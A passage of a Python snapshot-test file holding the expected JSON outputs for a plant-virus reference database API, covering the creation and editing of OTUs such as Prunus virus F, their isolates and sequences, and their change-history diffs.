'sequences': [
],
'source_name': 'A',
'source_type': 'isolate'
}
snapshots['TestEditIsolate.test[True-uvloop-data3-Renamed Isolate b to Isolate A] history'] = {
'_id': '6116cba1.1',
'created_at': GenericRepr('datetime.datetime(2015, 10, 6, 20, 0)'),
'description': 'Renamed Isolate b to Isolate A',
'diff': [
[
'change',
'version',
[
0,
1
]
],
[
'change',
[
'isolates',
1,
'source_name'
],
[
'b',
'A'
]
]
],
'index': {
'id': 'unbuilt',
'version': 'unbuilt'
},
'method_name': 'edit_isolate',
'otu': {
'id': '6116cba1',
'name': 'Prunus virus F',
'version': 1
},
'reference': {
'id': 'hxn167'
},
'user': {
'id': 'test'
}
}
snapshots['TestEditIsolate.test_force_case[True-uvloop] json'] = {
'default': True,
'id': 'cab8b360',
'sequences': [
],
'source_name': '8816-v2',
'source_type': 'variant'
}
snapshots['TestEditIsolate.test_force_case[True-uvloop] history'] = {
'_id': '6116cba1.1',
'created_at': GenericRepr('datetime.datetime(2015, 10, 6, 20, 0)'),
'description': 'Renamed Isolate 8816-v2 to Variant 8816-v2',
'diff': [
[
'change',
'version',
[
0,
1
]
],
[
'change',
[
'isolates',
0,
'source_type'
],
[
'isolate',
'variant'
]
]
],
'index': {
'id': 'unbuilt',
'version': 'unbuilt'
},
'method_name': 'edit_isolate',
'otu': {
'id': '6116cba1',
'name': 'Prunus virus F',
'version': 1
},
'reference': {
'id': 'hxn167'
},
'user': {
'id': 'test'
}
}
snapshots['TestCreate.test[True-uvloop-None-True] json'] = {
'abbreviation': '',
'id': '9pfsom1b',
'isolates': [
],
'issues': {
'empty_isolate': False,
'empty_otu': True,
'empty_sequence': False,
'isolate_inconsistency': False
},
'last_indexed_version': None,
'most_recent_change': {
'created_at': '2015-10-06T20:00:00Z',
'description': 'Created Tobacco mosaic virus',
'diff': {
'_id': '9pfsom1b',
'abbreviation': '',
'isolates': [
],
'last_indexed_version': None,
'lower_name': 'tobacco mosaic virus',
'name': 'Tobacco mosaic virus',
'reference': {
'id': 'foo'
},
'schema': [
],
'verified': False,
'version': 0
},
'id': '9pfsom1b.0',
'index': {
'id': 'unbuilt',
'version': 'unbuilt'
},
'method_name': 'create',
'otu': {
'id': '9pfsom1b',
'name': 'Tobacco mosaic virus',
'version': 0
},
'reference': {
'id': 'foo'
},
'user': {
'id': 'test'
}
},
'name': 'Tobacco mosaic virus',
'reference': {
'id': 'foo'
},
'schema': [
],
'verified': False,
'version': 0
}
snapshots['TestCreate.test[True-uvloop-True] json'] = {
'abbreviation': '',
'id': '9pfsom1b',
'isolates': [
],
'issues': {
'empty_isolate': False,
'empty_otu': True,
'empty_sequence': False,
'isolate_inconsistency': False
},
'last_indexed_version': None,
'most_recent_change': {
'created_at': '2015-10-06T20:00:00Z',
'description': 'Created Tobacco mosaic virus',
'diff': {
'_id': '9pfsom1b',
'abbreviation': '',
'isolates': [
],
'last_indexed_version': None,
'lower_name': 'tobacco mosaic virus',
'name': 'Tobacco mosaic virus',
'reference': {
'id': 'foo'
},
'schema': [
],
'verified': False,
'version': 0
},
'id': '9pfsom1b.0',
'index': {
'id': 'unbuilt',
'version': 'unbuilt'
},
'method_name': 'create',
'otu': {
'id': '9pfsom1b',
'name': 'Tobacco mosaic virus',
'version': 0
},
'reference': {
'id': 'foo'
},
'user': {
'id': 'test'
}
},
'name': 'Tobacco mosaic virus',
'reference': {
'id': 'foo'
},
'schema': [
],
'verified': False,
'version': 0
}
snapshots['TestCreate.test[True-uvloop-TMV-True] json'] = {
'abbreviation': 'TMV',
'id': '9pfsom1b',
'isolates': [
],
'issues': {
'empty_isolate': False,
'empty_otu': True,
'empty_sequence': False,
'isolate_inconsistency': False
},
'last_indexed_version': None,
'most_recent_change': {
'created_at': '2015-10-06T20:00:00Z',
'description': 'Created Tobacco mosaic virus (TMV)',
'diff': {
'_id': '9pfsom1b',
'abbreviation': 'TMV',
'isolates': [
],
'last_indexed_version': None,
'lower_name': 'tobacco mosaic virus',
'name': 'Tobacco mosaic virus',
'reference': {
'id': 'foo'
},
'schema': [
],
'verified': False,
'version': 0
},
'id': '9pfsom1b.0',
'index': {
'id': 'unbuilt',
'version': 'unbuilt'
},
'method_name': 'create',
'otu': {
'id': '9pfsom1b',
'name': 'Tobacco mosaic virus',
'version': 0
},
'reference': {
'id': 'foo'
},
'user': {
'id': 'test'
}
},
'name': 'Tobacco mosaic virus',
'reference': {
'id': 'foo'
},
'schema': [
],
'verified': False,
'version': 0
}
snapshots['TestEdit.test[True-uvloop-data0-TMV-Changed name to Tobacco mosaic otu] json'] = {
'abbreviation': 'TMV',
'id': '6116cba1',
'imported': True,
'isolates': [
{
'default': True,
'id': 'cab8b360',
'sequences': [
],
'source_name': '8816-v2',
'source_type': 'isolate'
}
],
'issues': {
'empty_isolate': [
'cab8b360'
],
'empty_otu': False,
'empty_sequence': False,
'isolate_inconsistency': False
},
'last_indexed_version': 0,
'most_recent_change': {
'created_at': '2015-10-06T20:00:00Z',
'description': 'Changed name to Tobacco mosaic otu',
'id': '6116cba1.1',
'method_name': 'edit',
'otu': {
'id': '6116cba1',
'name': 'Prunus virus F',
'version': 1
},
'user': {
'id': 'test'
}
},
'name': 'Tobacco mosaic otu',
'reference': {
'id': 'hxn167'
},
'schema': [
],
'verified': False,
'version': 1
}
snapshots['TestEdit.test[True-uvloop-data0-TMV-Changed name to Tobacco mosaic otu] otu'] = {
'_id': '6116cba1',
'abbreviation': 'TMV',
'imported': True,
'isolates': [
{
'default': True,
'id': 'cab8b360',
'source_name': '8816-v2',
'source_type': 'isolate'
}
],
'last_indexed_version': 0,
'lower_name': 'tobacco mosaic otu',
'name': 'Tobacco mosaic otu',
'reference': {
'id': 'hxn167'
},
'schema': [
],
'verified': False,
'version': 1
}
snapshots['TestEdit.test[True-uvloop-data1-PVF-Changed name to Tobacco mosaic otu and changed abbreviation to TMV] json'] = {
'abbreviation': 'TMV',
'id': '6116cba1',
'imported': True,
'isolates': [
{
'default': True,
'id': 'cab8b360',
'sequences': [
],
'source_name': '8816-v2',
'source_type': 'isolate'
}
],
'issues': {
'empty_isolate': [
'cab8b360'
],
'empty_otu': False,
'empty_sequence': False,
'isolate_inconsistency': False
},
'last_indexed_version': 0,
'most_recent_change': {
'created_at': '2015-10-06T20:00:00Z',
'description': 'Changed name to Tobacco mosaic otu and changed abbreviation to TMV',
'id': '6116cba1.1',
'method_name': 'edit',
'otu': {
'id': '6116cba1',
'name': 'Prunus virus F',
'version': 1
},
'user': {
'id': 'test'
}
},
'name': 'Tobacco mosaic otu',
'reference': {
'id': 'hxn167'
},
'schema': [
],
'verified': False,
'version': 1
}
snapshots['TestEdit.test[True-uvloop-data1-PVF-Changed name to Tobacco mosaic otu and changed abbreviation to TMV] otu'] = {
'_id': '6116cba1',
'abbreviation': 'TMV',
'imported': True,
'isolates': [
{
'default': True,
'id': 'cab8b360',
'source_name': '8816-v2',
'source_type': 'isolate'
}
],
'last_indexed_version': 0,
'lower_name': 'tobacco mosaic otu',
'name': 'Tobacco mosaic otu',
'reference': {
'id': 'hxn167'
},
'schema': [
],
'verified': False,
'version': 1
}
snapshots['TestEdit.test[True-uvloop-data2-PVF-Changed abbreviation to TMV] json'] = {
'abbreviation': 'TMV',
'id': '6116cba1',
'imported': True,
'isolates': [
{
'default': True,
'id': 'cab8b360',
'sequences': [
],
'source_name': '8816-v2',
'source_type': 'isolate'
}
],
'issues': {
'empty_isolate': [
'cab8b360'
],
'empty_otu': False,
'empty_sequence': False,
'isolate_inconsistency': False
},
'last_indexed_version': 0,
'most_recent_change': {
'created_at': '2015-10-06T20:00:00Z',
'description': 'Changed abbreviation to TMV',
'id': '6116cba1.1',
'method_name': 'edit',
'otu': {
'id': '6116cba1',
'name': 'Prunus virus F',
'version': 1
},
'user': {
'id': 'test'
}
},
'name': 'Prunus virus F',
'reference': {
'id': 'hxn167'
},
'schema': [
],
'verified': False,
'version': 1
}
snapshots['TestEdit.test[True-uvloop-data2-PVF-Changed abbreviation to TMV] otu'] = {
'_id': '6116cba1',
'abbreviation': 'TMV',
'imported': True,
'isolates': [
{
'default': True,
'id': 'cab8b360',
'source_name': '8816-v2',
'source_type': 'isolate'
}
],
'last_indexed_version': 0,
'lower_name': 'prunus virus f',
'name': 'Prunus virus F',
'reference': {
'id': 'hxn167'
},
'schema': [
],
'verified': False,
'version': 1
}
snapshots['TestEdit.test[True-uvloop-data3-TMV-Changed name to Tobacco mosaic otu] json'] = {
'abbreviation': 'TMV',
'id': '6116cba1',
'imported': True,
'isolates': [
{
'default': True,
'id': 'cab8b360',
'sequences': [
],
'source_name': '8816-v2',
'source_type': 'isolate'
}
],
'issues': {
'empty_isolate': [
'cab8b360'
],
'empty_otu': False,
'empty_sequence': False,
'isolate_inconsistency': False
},
'last_indexed_version': 0,
'most_recent_change': {
'created_at': '2015-10-06T20:00:00Z',
'description': 'Changed name to Tobacco mosaic otu',
'id': '6116cba1.1',
'method_name': 'edit',
'otu': {
'id': '6116cba1',
'name': 'Prunus virus F',
'version': 1
},
'user': {
'id': 'test'
}
},
'name': 'Tobacco mosaic otu',
'reference': {
'id': 'hxn167'
},
'schema': [
],
'verified': False,
'version': 1
}
snapshots['TestEdit.test[True-uvloop-data3-TMV-Changed name to Tobacco mosaic otu] otu'] = {
'_id': '6116cba1',
'abbreviation': 'TMV',
'imported': True,
'isolates': [
{
'default': True,
'id': 'cab8b360',
'source_name': '8816-v2',
'source_type': 'isolate'
}
],
'last_indexed_version': 0,
'lower_name': 'tobacco mosaic otu',
'name': 'Tobacco mosaic otu',
'reference': {
'id': 'hxn167'
},
'schema': [
],
'verified': False,
'version': 1
}
snapshots['TestEdit.test[True-uvloop-data4-TMV-Changed name to Tobacco mosaic otu and removed abbreviation TMV] json'] = {
'abbreviation': '',
'id': '6116cba1',
'imported': True,
'isolates': [
{
'default': True,
'id': 'cab8b360',
'sequences': [
],
'source_name': '8816-v2',
'source_type': 'isolate'
}
],
'issues': {
'empty_isolate': [
'cab8b360'
],
'empty_otu': False,
'empty_sequence': False,
'isolate_inconsistency': False
},
'last_indexed_version': 0,
'most_recent_change': {
'created_at': '2015-10-06T20:00:00Z',
'description': 'Changed name to Tobacco mosaic otu and removed abbreviation TMV',
'id': '6116cba1.1',
'method_name': 'edit',
'otu': {
'id': '6116cba1',
'name': 'Prunus virus F',
'version': 1
},
'user': {
'id': 'test'
}
},
'name': 'Tobacco mosaic otu',
'reference': {
'id': 'hxn167'
},
'schema': [
],
'verified': False,
'version': 1
}
snapshots['TestEdit.test[True-uvloop-data4-TMV-Changed name to Tobacco mosaic otu and removed abbreviation TMV] otu'] = {
'_id': '6116cba1',
'abbreviation': '',
'imported': True,
'isolates': [
{
'default': True,
'id': 'cab8b360',
'source_name': '8816-v2',
'source_type': 'isolate'
}
],
'last_indexed_version': 0,
'lower_name': 'tobacco mosaic otu',
'name': 'Tobacco mosaic otu',
'reference': {
'id': 'hxn167'
},
'schema': [
],
'verified': False,
'version': 1
}
snapshots['TestEdit.test[True-uvloop-data5--Changed name to Tobacco mosaic otu and added abbreviation TMV] json'] = {
'abbreviation': 'TMV',
'id': '6116cba1',
'imported': True,
'isolates': [
{
'default': True,
'id': 'cab8b360',
'sequences': [
],
'source_name': '8816-v2',
'source_type': 'isolate'
}
],
'issues': {
'empty_isolate': [
'cab8b360'
],
'empty_otu': False,
'empty_sequence': False,
'isolate_inconsistency': False
},
'last_indexed_version': 0,
'most_recent_change': {
'created_at': '2015-10-06T20:00:00Z',
'description': 'Changed name to Tobacco mosaic otu and added abbreviation TMV',
'id': '6116cba1.1',
'method_name': 'edit',
'otu': {
'id': '6116cba1',
'name': 'Prunus virus F',
'version': 1
},
'user': {
'id': 'test'
}
},
'name': 'Tobacco mosaic otu',
'reference': {
'id': 'hxn167'
},
'schema': [
],
'verified': False,
'version': 1
}
snapshots['TestEdit.test[True-uvloop-data5--Changed name to Tobacco mosaic otu and added abbreviation TMV] otu'] = {
'_id': '6116cba1',
'abbreviation': 'TMV',
'imported': True,
'isolates': [
{
'default': True,
'id': 'cab8b360',
'source_name': '8816-v2',
'source_type': 'isolate'
}
],
'last_indexed_version': 0,
'lower_name': 'tobacco mosaic otu',
'name': 'Tobacco mosaic otu',
'reference': {
'id': 'hxn167'
},
'schema': [
],
'verified': False,
'version': 1
}
snapshots['TestEdit.test[True-uvloop-data6-PVF-Changed abbreviation to TMV] json'] = {
'abbreviation': 'TMV',
'id': '6116cba1',
'imported': True,
'isolates': [
{
'default': True,
'id': 'cab8b360',
'sequences': [
],
'source_name': '8816-v2',
'source_type': 'isolate'
}
],
'issues': {
'empty_isolate': [
'cab8b360'
],
'empty_otu': False,
'empty_sequence': False,
'isolate_inconsistency': False
},
'last_indexed_version': 0,
'most_recent_change': {
'created_at': '2015-10-06T20:00:00Z',
'description': 'Changed abbreviation to TMV',
'id': '6116cba1.1',
'method_name': 'edit',
'otu': {
'id': '6116cba1',
'name': 'Prunus virus F',
'version': 1
},
'user': {
'id': 'test'
}
},
'name': 'Prunus virus F',
'reference': {
'id': 'hxn167'
},
'schema': [
],
'verified': False,
'version': 1
}
snapshots['TestEdit.test[True-uvloop-data6-PVF-Changed abbreviation to TMV] otu'] = {
'_id': '6116cba1',
'abbreviation': 'TMV',
'imported': True,
'isolates': [
{
'default': True,
'id': 'cab8b360',
'source_name': '8816-v2',
'source_type': 'isolate'
}
],
'last_indexed_version': 0,
'lower_name': 'prunus virus f',
'name': 'Prunus virus F',
'reference': {
'id': 'hxn167'
},
'schema': [
],
'verified': False,
'version': 1
}
snapshots['TestEdit.test[True-uvloop-data7-PVF-Changed abbreviation to TMV] json'] = {
'abbreviation': 'TMV',
'id': '6116cba1',
'imported': True,
'isolates': [
{
'default': True,
'id': 'cab8b360',
'sequences': [
],
'source_name': '8816-v2',
'source_type': 'isolate'
}
],
'issues': {
'empty_isolate': [
'cab8b360'
],
'empty_otu': False,
'empty_sequence': False,
'isolate_inconsistency': False
},
'last_indexed_version': 0,
'most_recent_change': {
'created_at': '2015-10-06T20:00:00Z',
'description': 'Changed abbreviation to TMV',
'id': '6116cba1.1',
'method_name': 'edit',
'otu': {
'id': '6116cba1',
'name': 'Prunus virus F',
'version': 1
},
'user': {
'id': 'test'
}
},
'name': 'Prunus virus F',
'reference': {
'id': 'hxn167'
},
'schema': [
],
'verified': False,
'version': 1
}
snapshots['TestEdit.test[True-uvloop-data7-PVF-Changed abbreviation to TMV] otu'] = {
'_id': '6116cba1',
'abbreviation': 'TMV',
'imported': True,
'isolates': [
{
'default': True,
'id': 'cab8b360',
'source_name': '8816-v2',
'source_type': 'isolate'
}
],
'last_indexed_version': 0,
'lower_name': 'prunus virus f',
'name': 'Prunus virus F',
'reference': {
'id': 'hxn167'
},
'schema': [
],
'verified': False,
'version': 1
}
snapshots['TestEdit.test[True-uvloop-data8--Added abbreviation TMV] json'] = {
'abbreviation': 'TMV',
'id': '6116cba1',
'imported': True,
'isolates': [
{
'default': True,
'id': 'cab8b360',
'sequences': [
],
'source_name': '8816-v2',
'source_type': 'isolate'
}
],
'issues': {
'empty_isolate': [
'cab8b360'
],
'empty_otu': False,
'empty_sequence': False,
'isolate_inconsistency': False
},
'last_indexed_version': 0,
'most_recent_change': {
'created_at': '2015-10-06T20:00:00Z',
'description': 'Added abbreviation TMV',
'id': '6116cba1.1',
'method_name': 'edit',
'otu': {
'id': '6116cba1',
'name': 'Prunus virus F',
'version': 1
},
'user': {
'id': 'test'
}
},
'name': 'Prunus virus F',
'reference': {
'id': 'hxn167'
},
'schema': [
],
'verified': False,
'version': 1
}
snapshots['TestEdit.test[True-uvloop-data8--Added abbreviation TMV] otu'] = {
'_id': '6116cba1',
'abbreviation': 'TMV',
'imported': True,
'isolates': [
{
'default': True,
'id': 'cab8b360',
'source_name': '8816-v2',
'source_type': 'isolate'
}
],
'last_indexed_version': 0,
'lower_name': 'prunus virus f',
'name': 'Prunus virus F',
'reference': {
'id': 'hxn167'
},
'schema': [
],
'verified': False,
'version': 1
}
snapshots['TestEdit.test[True-uvloop-data9-TMV-Removed abbreviation TMV] json'] = {
'abbreviation': '',
'id': '6116cba1',
'imported': True,
'isolates': [
{
'default': True,
'id': 'cab8b360',
'sequences': [
],
'source_name': '8816-v2',
'source_type': 'isolate'
}
],
'issues': {
'empty_isolate': [
'cab8b360'
],
'empty_otu': False,
'empty_sequence': False,
'isolate_inconsistency': False
},
'last_indexed_version': 0,
'most_recent_change': {
'created_at': '2015-10-06T20:00:00Z',
'description': 'Removed abbreviation TMV',
'id': '6116cba1.1',
'method_name': 'edit',
'otu': {
'id': '6116cba1',
'name': 'Prunus virus F',
'version': 1
},
'user': {
'id': 'test'
}
},
'name': 'Prunus virus F',
'reference': {
'id': 'hxn167'
},
'schema': [
],
'verified': False,
'version': 1
}
snapshots['TestEdit.test[True-uvloop-data9-TMV-Removed abbreviation TMV] otu'] = {
'_id': '6116cba1',
'abbreviation': '',
'imported': True,
'isolates': [
{
'default': True,
'id': 'cab8b360',
'source_name': '8816-v2',
'source_type': 'isolate'
}
],
'last_indexed_version': 0,
'lower_name': 'prunus virus f',
'name': 'Prunus virus F',
'reference': {
'id': 'hxn167'
},
'schema': [
],
'verified': False,
'version': 1
}
snapshots['test_list_isolates[uvloop-None] json'] = [
{
'default': True,
'id': 'cab8b360',
'sequences': [
],
'source_name': '8816-v2',
'source_type': 'isolate'
},
{
'default': False,
'id': 'bcb9b352',
'sequences': [
],
'source_name': '7865',
'source_type': 'isolate'
}
]
snapshots['TestAddIsolate.test_first[True-uvloop] json'] = {
'default': True,
'id': '9pf',
'sequences': [
],
'source_name': 'b',
'source_type': 'isolate'
}
snapshots['TestAddIsolate.test_first[True-uvloop] otu'] = {
'_id': '6116cba1',
'abbreviation': 'PVF',
'imported': True,
'isolates': [
{
'default': True,
'id': '9pf',
'source_name': 'b',
'source_type': 'isolate'
}
],
'last_indexed_version': 0,
'lower_name': 'prunus virus f',
'name': 'Prunus virus F',
'reference': {
'id': 'hxn167'
},
'schema': [
],
'verified': False,
'version': 1
}
snapshots['TestAddIsolate.test_first[True-uvloop] history'] = {
'_id': '6116cba1.1',
'created_at': GenericRepr('datetime.datetime(2015, 10, 6, 20, 0)'),
'description': 'Added Isolate b as default',
'diff': [
[
'change',
'version',
[
0,
1
]
],
[
'add',
'isolates',
[
[
0,
{
'default': True,
'id': '9pf',
'sequences': [
],
'source_name': 'b',
'source_type': 'isolate'
}
]
]
]
],
'index': {
'id': 'unbuilt',
'version': 'unbuilt'
},
'method_name': 'add_isolate',
'otu': {
'id': '6116cba1',
'name': 'Prunus virus F',
'version': 1
},
'reference': {
'id': 'hxn167'
},
'user': {
'id': 'test'
}
}
snapshots['TestAddIsolate.test_force_case[True-uvloop] json'] = {
'default': False,
'id': '9pf',
'sequences': [
],
'source_name': 'Beta',
'source_type': 'isolate'
}
snapshots['TestAddIsolate.test_force_case[True-uvloop] otu'] = {
'_id': '6116cba1',
'abbreviation': 'PVF',
'imported': True,
'isolates': [
{
'default': True,
'id': 'cab8b360',
'source_name': '8816-v2',
'source_type': 'isolate'
},
{
'default': False,
'id': '9pf',
'source_name': 'Beta',
'source_type': 'isolate'
}
],
'last_indexed_version': 0,
'lower_name': 'prunus virus f',
'name': 'Prunus virus F',
'reference': {
'id': 'hxn167'
},
'schema': [
],
'verified': False,
'version': 1
}
snapshots['TestAddIsolate.test_force_case[True-uvloop] history'] = {
'_id': '6116cba1.1',
'created_at': GenericRepr('datetime.datetime(2015, 10, 6, 20, 0)'),
'description': 'Added Isolate Beta',
'diff': [
[
'change',
'version',
[
0,
1
]
],
[
'add',
'isolates',
[
[
1,
{
'default': False,
'id': '9pf',
'sequences': [
],
'source_name': 'Beta',
'source_type': 'isolate'
}
]
]
]
],
'index': {
'id': 'unbuilt',
'version': 'unbuilt'
},
'method_name': 'add_isolate',
'otu': {
'id': '6116cba1',
'name': 'Prunus virus F',
'version': 1
},
'reference': {
'id': 'hxn167'
},
'user': {
'id': 'test'
}
}
snapshots['TestAddIsolate.test_empty[True-uvloop] json'] = {
'default': False,
'id': '9pf',
'sequences': [
],
'source_name': '',
'source_type': ''
}
snapshots['TestAddIsolate.test_empty[True-uvloop] otu'] = {
'_id': '6116cba1',
'abbreviation': 'PVF',
'imported': True,
'isolates': [
{
'default': True,
'id': 'cab8b360',
'source_name': '8816-v2',
'source_type': 'isolate'
},
{
'default': False,
'id': '9pf',
'source_name': '',
'source_type': ''
}
],
'last_indexed_version': 0,
'lower_name': 'prunus virus f',
'name': 'Prunus virus F',
'reference': {
'id': 'hxn167'
},
'schema': [
],
'verified': False,
'version': 1
}
snapshots['TestAddIsolate.test_empty[True-uvloop] history'] = {
'_id': '6116cba1.1',
'created_at': GenericRepr('datetime.datetime(2015, 10, 6, 20, 0)'),
'description': 'Added Unnamed Isolate',
'diff': [
[
'change',
'version',
[
0,
1
]
],
[
'add',
'isolates',
[
[
1,
{
'default': False,
'id': '9pf',
'sequences': [
],
'source_name': '',
'source_type': ''
}
]
]
]
],
'index': {
'id': 'unbuilt',
'version': 'unbuilt'
},
'method_name': 'add_isolate',
'otu': {
'id': '6116cba1',
'name': 'Prunus virus F',
'version': 1
},
'reference': {
'id': 'hxn167'
},
'user': {
'id': 'test'
}
}
snapshots['TestEditIsolate.test[True-uvloop-data0-Renamed Isolate b to Variant b] otu'] = {
'_id': '6116cba1',
'abbreviation': 'PVF',
'imported': True,
'isolates': [
{
'default': True,
'id': 'cab8b360',
'source_name': '8816-v2',
'source_type': 'isolate'
},
{
'default': False,
'id': 'test',
'source_name': 'b',
'source_type': 'variant'
}
],
'last_indexed_version': 0,
'lower_name': 'prunus virus f',
'name': 'Prunus virus F',
'reference': {
'id': 'hxn167'
},
'schema': [
],
'verified': False,
'version': 1
}
snapshots['TestEditIsolate.test[True-uvloop-data1-Renamed Isolate b to Variant b] otu'] = {
'_id': '6116cba1',
'abbreviation': 'PVF',
'imported': True,
'isolates': [
{
'default': True,
'id': 'cab8b360',
'source_name': '8816-v2',
'source_type': 'isolate'
},
{
'default': False,
'id': 'test',
'source_name': 'b',
'source_type': 'variant'
}
],
'last_indexed_version': 0,
'lower_name': 'prunus virus f',
'name': 'Prunus virus F',
'reference': {
'id': 'hxn167'
},
'schema': [
],
'verified': False,
'version': 1
}
snapshots['TestEditIsolate.test[True-uvloop-data2-Renamed Isolate b to Variant A] otu'] = {
'_id': '6116cba1',
'abbreviation': 'PVF',
'imported': True,
'isolates': [
{
'default': True,
'id': 'cab8b360',
'source_name': '8816-v2',
'source_type': 'isolate'
},
{
'default': False,
'id': 'test',
'source_name': 'A',
'source_type': 'variant'
}
],
'last_indexed_version': 0,
'lower_name': 'prunus virus f',
'name': 'Prunus virus F',
'reference': {
'id': 'hxn167'
},
'schema': [
],
'verified': False,
'version': 1
}
snapshots['TestEditIsolate.test[True-uvloop-data3-Renamed Isolate b to Isolate A] otu'] = {
'_id': '6116cba1',
'abbreviation': 'PVF',
'imported': True,
'isolates': [
{
'default': True,
'id': 'cab8b360',
'source_name': '8816-v2',
'source_type': 'isolate'
},
{
'default': False,
'id': 'test',
'source_name': 'A',
'source_type': 'isolate'
}
],
'last_indexed_version': 0,
'lower_name': 'prunus virus f',
'name': 'Prunus virus F',
'reference': {
'id': 'hxn167'
},
'schema': [
],
'verified': False,
'version': 1
}
snapshots['TestEditIsolate.test_force_case[True-uvloop] otu'] = {
'_id': '6116cba1',
'abbreviation': 'PVF',
'imported': True,
'isolates': [
{
'default': True,
'id': 'cab8b360',
'source_name': '8816-v2',
'source_type': 'variant'
}
],
'last_indexed_version': 0,
'lower_name': 'prunus virus f',
'name': 'Prunus virus F',
'reference': {
'id': 'hxn167'
},
'schema': [
],
'verified': False,
'version': 1
}
snapshots['TestSetAsDefault.test[True-uvloop] json'] = {
'default': True,
'id': 'test',
'sequences': [
],
'source_name': 'b',
'source_type': 'isolate'
}
snapshots['TestRemoveIsolate.test_change_default[True-uvloop] otu'] = {
'_id': '6116cba1',
'abbreviation': 'PVF',
'imported': True,
'isolates': [
{
'default': True,
'id': 'bcb9b352',
'source_name': '7865',
'source_type': 'isolate'
}
],
'last_indexed_version': 0,
'lower_name': 'prunus virus f',
'name': 'Prunus virus F',
'reference': {
'id': 'hxn167'
},
'schema': [
],
'verified': False,
'version': 1
}
snapshots['TestRemoveIsolate.test_change_default[True-uvloop] history'] = {
'_id': '6116cba1.1',
'created_at': GenericRepr('datetime.datetime(2015, 10, 6, 20, 0)'),
'description': 'Removed Isolate 8816-v2 and set Isolate 7865 as default',
'diff': [
[
'change',
'version',
[
0,
1
]
],
[
'change',
[
'isolates',
0,
'id'
],
[
'cab8b360',
'bcb9b352'
]
],
[
'change',
[
'isolates',
0,
'source_name'
],
[
'8816-v2',
'7865'
]
],
[
'remove',
[
'isolates',
0,
'sequences'
],
[
[
0,
{
'_id': 'KX269872',
'definition': 'Prunus virus F isolate 8816-s2 segment RNA2 polyprotein 2 gene, complete cds.',
'host': 'sweet cherry',
'isolate_id': 'cab8b360',
'otu_id': '6116cba1',
'segment': None,
'sequence': 'TGTTTAAGAGATTAAACAACCGCTTTC'
}
]
]
],
[
'remove',
'isolates',
[
[
1,
{
'default': False,
'id': 'bcb9b352',
'sequences': [
],
'source_name': '7865',
'source_type': 'isolate'
}
]
]
]
],
'index': {
'id': 'unbuilt',
'version': 'unbuilt'
},
'method_name': 'remove_isolate',
'otu': {
'id': '6116cba1',
'name': 'Prunus virus F',
'version': 1
},
'reference': {
'id': 'hxn167'
},
'user': {
'id': 'test'
}
}
snapshots['test_list_sequences[uvloop-None] json'] = [
{
'definition': 'Prunus virus F isolate 8816-s2 segment RNA2 polyprotein 2 gene, complete cds.',
'host': 'sweet cherry',
'id': 'KX269872',
'segment': None,
'sequence': 'TGTTTAAGAGATTAAACAACCGCTTTC'
}
]
snapshots['test_get_sequence[uvloop-None] json'] = {
'definition': 'Prunus virus F isolate 8816-s2 segment RNA2 polyprotein 2 gene, complete cds.',
'host': 'sweet cherry',
'id': 'KX269872',
'isolate_id': 'cab8b360',
'otu_id': '6116cba1',
'segment': None,
'sequence': 'TGTTTAAGAGATTAAACAACCGCTTTC'
}
snapshots['test_create_sequence[True-uvloop-None] json'] = {
'accession': 'foobar',
'definition': 'A made up sequence',
'host': 'Plant',
'id': '9pfsom1b',
'isolate_id': 'cab8b360',
'otu_id': '6116cba1',
'reference': {
'id': 'hxn167'
},
'segment': None,
'sequence': 'ATGCGTGTACTG'
}
snapshots['test_create_sequence[True-uvloop-None] otu'] = {
'_id': '6116cba1',
'abbreviation': 'PVF',
'imported': True,
'isolates': [
{
'default': True,
'id': 'cab8b360',
'source_name': '8816-v2',
'source_type': 'isolate'
}
],
'last_indexed_version': 0,
'lower_name': 'prunus virus f',
'name': 'Prunus virus F',
'reference': {
'id': 'hxn167'
},
'schema': [
],
'verified': True,
'version': 1
}
snapshots['test_create_sequence[True-uvloop-None] sequence'] = {
'_id': '9pfsom1b',
'accession': 'foobar',
'definition': 'A made up sequence',
'host': 'Plant',
'isolate_id': 'cab8b360',
'otu_id': '6116cba1',
'reference': {
'id': 'hxn167'
},
'segment': None,
'sequence': 'ATGCGTGTACTG'
}
snapshots['test_create_sequence[True-uvloop-None] history'] = {
'_id': '6116cba1.1',
'created_at': GenericRepr('datetime.datetime(2015, 10, 6, 20, 0)'),
'description': 'Created new sequence foobar in Isolate 8816-v2',
'diff': [
[
'change',
'version',
[
0,
1
]
],
[
'add',
[
'isolates',
0,
'sequences'
],
[
[
0,
{
'_id': '9pfsom1b',
'accession': 'foobar',
'definition': 'A made up sequence',
'host': 'Plant',
'isolate_id': 'cab8b360',
'otu_id': '6116cba1',
'reference': {
'id': 'hxn167'
},
'segment': None,
'sequence': 'ATGCGTGTACTG'
}
]
]
],
[
'change',
'verified',
[
False,
True
]
]
],
'index': {
'id': 'unbuilt',
'version': 'unbuilt'
},
'method_name': 'create_sequence',
'otu': {
'id': '6116cba1',
'name': 'Prunus virus F',
'version': 1
},
'reference': {
'id': 'hxn167'
},
'user': {
'id': 'test'
}
}
snapshots['test_edit_sequence[True-uvloop-None] history'] = {
'_id': '6116cba1.1',
'created_at': GenericRepr('datetime.datetime(2015, 10, 6, 20, 0)'),
'description': 'Edited sequence KX269872 in Isolate 8816-v2',
'diff': [
[
'change',
'version',
[
0,
1
]
],
[
'change',
[
'isolates',
0,
'sequences',
0,
'definition'
],
[
'Prunus virus F isolate 8816-s2 segment RNA2 polyprotein 2 gene, complete cds.',
'A made up sequence'
]
],
[
'change',
[
'isolates',
0,
'sequences',
0,
'host'
],
[
'sweet cherry',
'Grapevine'
]
],
[
'change',
[
'isolates',
0,
'sequences',
0,
'sequence'
],
[
'TGTTTAAGAGATTAAACAACCGCTTTC',
'ATGCGTGTACTG'
]
],
[
'change',
'verified',
[
False,
True
]
]
],
'index': {
'id': 'unbuilt',
'version': 'unbuilt'
},
'method_name': 'edit_sequence',
'otu': {
'id': '6116cba1',
'name': 'Prunus virus F',
'version': 1
},
'reference': {
'id': 'hxn167'
},
'user': {
'id': 'test'
}
}
snapshots['test_edit_sequence[True-uvloop-None] otu'] = {
'_id': '6116cba1',
'abbreviation': 'PVF',
'imported': True,
'isolates': [
{
'default': True,
'id': 'cab8b360',
'source_name': '8816-v2',
'source_type': 'isolate'
}
],
'last_indexed_version': 0,
'lower_name': 'prunus virus f',
'name': 'Prunus virus F',
'reference': {
'id': 'hxn167'
},
'schema': [
],
'verified': True,
'version': 1
}
snapshots['test_edit_sequence[True-uvloop-None] sequence'] = {
'_id': 'KX269872',
'definition': 'A made up sequence',
'host': 'Grapevine',
'isolate_id': 'cab8b360',
'otu_id': '6116cba1',
'segment': None,
